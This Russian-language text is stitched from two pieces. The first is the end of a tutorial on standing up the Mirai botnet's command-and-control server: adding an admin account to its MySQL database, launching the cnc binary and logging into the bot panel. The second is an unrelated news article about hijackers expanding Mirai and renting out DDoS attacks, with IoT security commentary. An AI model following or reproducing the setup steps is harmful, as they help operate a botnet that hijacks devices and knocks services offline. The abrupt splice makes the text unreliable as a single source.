Должно быть вот так - INSERT INTO users VALUES (NULL, "pizdec", "zaebalsjapisatj", 0, 0, 0, 0, -1, 1, 30, "");
Копируем, вставляем, жмем Enter.
Теперь можно выходить.
# exit
Уже почти всё.
# cd Mirai-Source-Code-master/mirai/release
# touch prompt.txt
# screen ./cnc
Должны увидеть надпись MySQL DB opened
Не закрываем эту сессию, открываем новую.
http://prntscr.com/gcxunx вместо vlmi.su пишем свой домен, и жмем Open.
Вводим логин и пароль, в моем случае это -
pizdec
zaebalsjapisatj
Всё, мы в панели управления ботом.

В прошлом месяце были совершены атаки на крупные сайты вроде Twitter или Spotify, которые временно вывели их из строя. Для этого использовался ботнет Mirai , объединяющий 400-500 тысяч устройств интернета вещей. Теперь журналистам Motherboard стало известно о том, что двое хакеров сумели захватить контроль над ботнетом и создать его новую версию - она объединяет уже миллион устройств. Его мощь успели испытать на себе абоненты немецкого провайдера Deutsche Telekom , сеть которого не работала в прошлые выходные.

Охота на Mirai

Журналистам удалось поговорить с одним из двух этих таинственных хакеров - он использует никнейм BestBuy. В зашифрованном онлайн-чате он рассказал им о том, что среди взломщиков развернулась настоящая борьба за контроль над Mirai. В его софте недавно была обнаружена уязвимость. Ее использование вкупе со скоростью могли позволить BestBuy и его партнеру под ником Popopret захватить контроль над большей частью ботнета и дополнить его новыми устройствами.

Ранее наши эксперты изучили код ботнета Mirai - выяснилось, что он не был создан специально для устройств интернета вещей. Вредоносный софт ищет подключенные к сети устройства с дефолтными логинами-паролями (admin:admin, root:password и т.п.). Это значит, что теоретически, в его состав могут входить любые устройства, включая домашние компьютеры и серверы или роутеры.

IoT-устройства - обычно роутеры - входят в состав ботнета Mirai до своей перезагрузки - затем червь стирается из их памяти. Однако ботнет постоянно сканирует интернет на предмет поиска уязвимых устройств, так что «вылечившееся» устройство может быстро снова стать его частью. Среди хакеров развернулась настоящая гонка за то, чтобы первыми инфицировать как можно больше устройств.

Информации о том, как создатели нового Mirai успевают обогнать конкурентов нет. Однако они заявили журналистам, что используют собственный ботнет для сканирования потенциально уязвимых устройств, в том числе тех, что ранее тоже были частью ботнета.

«Почему бы не заставить Mirai охотиться на Mirai и поглотить оригинал», - говорит BestBuy.

Не только Mirai

Однако новый ботнет не только поглотил старые устройства из Mirai и новые с дефолтными паролями. Его создатели также используют 0-day уязвимости в прошивках IoT-устройств. Эксперты ранее прогнозировали скорое появление таких «комбинированных» ботнетов.

Борьба с ними заметно усложняется - если для противостояния Mirai самому пользователю конечного устройство достаточно лишь сменить логин и пароль для доступа к нему, то с уязвимостями гаджета он никак не сможет справиться самостоятельно.

DDoS на 700 Гбит/сек

Хакеры BestBuy и Popopret начали рекламировать свои услуги - они предлагают доступ к своей новой версии Mirai, рассылая спам-сообщения через XMPP/Jabber,

По словам хакера, они предлагают заказчиком несколько пакетов услуг. Более дешевый стоит $2 000 - за эти деньги клиенты могут арендовать от 20 000 до 25 000 узлов ботнета для запуска часовых в период до двух недель с временем перерыва между атаками в пятнадцать минут. За $15 000 или $20 000 заказчики получают возможность уже 600 000 ботов для запуска двухчасовых атак с 30 или 15-минутными перерывами. Во втором случае мощность атаки составит 700 Гбит/сек или больше.

Перспективы

Безопасность IoT-устройств часто находится на довольно низком уровне - это объясняется тем, что вендоры часто не заинтересованы во внедрении дополнительных мер информационной безопасности. Они рекламируют простоту использования своей продукции, а все дополнительные меры ИБ налагают ограничения и требуют затрат ресурсов.

Как сказано выше, защитить пользователей от более продвинутых ботнетов смогут только разработчики конечных устройств или провайдеры, предоставляющие их (в случае роутеров). Пострадавший от атаки новой версии Mirai немецкий провайдер Deutsche Telekom уже объявил о том, что «пересмотрит деловые отношения» с поставщиками уязвимых роутеров Speedport , компанией Arcadyan .

Повысить уровень защищенности интернета вещей в конечном итоге можно будет с помощью внедрения более жесткого контроля устройств со стороны провайдеров с одной стороны, и разработкой стандартов и регулирующей документации для IoT с другой. Подобные меры уже приняты во многих странах относительно обеспечения безопасности АСУ ТП. Первые шаги в этом направлении уже сделаны - например, несколько IT-вендоров в сентябре опубликовали документ под названием The Industrial Internet Security Framework (IISF) - в нем предлагается считать интернет вещей частью «промышленного интернета».

Однако, пока до окончательного решения вопроса еще далеко, и хакеры BestBuy и Popopret могут получить монополию на проведение крупных DDoS-атак в сети. Это довольно печальный факт, однако сами взломщики в ходе разговора с Motherboard заявили о том, что в своей деятельности будут руководствоваться не только прибылью, но и моральными принципами. Так BestBuy заявил, что они не будут позволять клиентам атаковать IP-адреса компаний, работающих с критической инфраструктурой.